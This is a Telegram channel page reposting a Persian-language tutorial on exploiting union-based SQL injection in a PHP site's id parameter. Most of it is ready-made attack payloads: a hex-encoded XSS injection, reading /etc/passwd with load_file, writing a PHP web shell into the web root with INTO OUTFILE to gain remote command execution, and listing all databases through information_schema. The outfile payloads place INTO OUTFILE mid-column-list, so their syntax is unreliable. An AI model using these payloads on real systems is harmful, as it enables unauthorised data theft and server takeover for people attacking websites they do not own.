Golden Code
726 subscribers
53 photos
248 links
نکات laravel, php و...
Download Telegram
Forwarded from Web Application Security
آسیب پذیری SQL injection =

از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.

فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

1⃣ تبدیل SQLi به XSS:
بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود <img/src/onerror=alert(document.domain)> وقتی تبدیل به hex میشه خروجی 3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e رو داریم. در نهایت پیلود ما به شکل زیر تغییر میکنه با اضافه کردن 0x قبل از مقدار hex.
app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--

و XSS اتفاق میفته.

2⃣ خوندن فایل های درون سرور:
با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--

3⃣ ساختن و نوشتن فایل درون سرور:
با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--

نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--

واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
shell.php?cmd=whoami

4⃣ دسترسی به سایر دیتابیس ها:
با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
database()
@@database
Version()
@@version

ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.

به دست آوردن لیست همه ی دیتابیس ها:
app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--

بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.

#SQLi
🔥4👍1👏1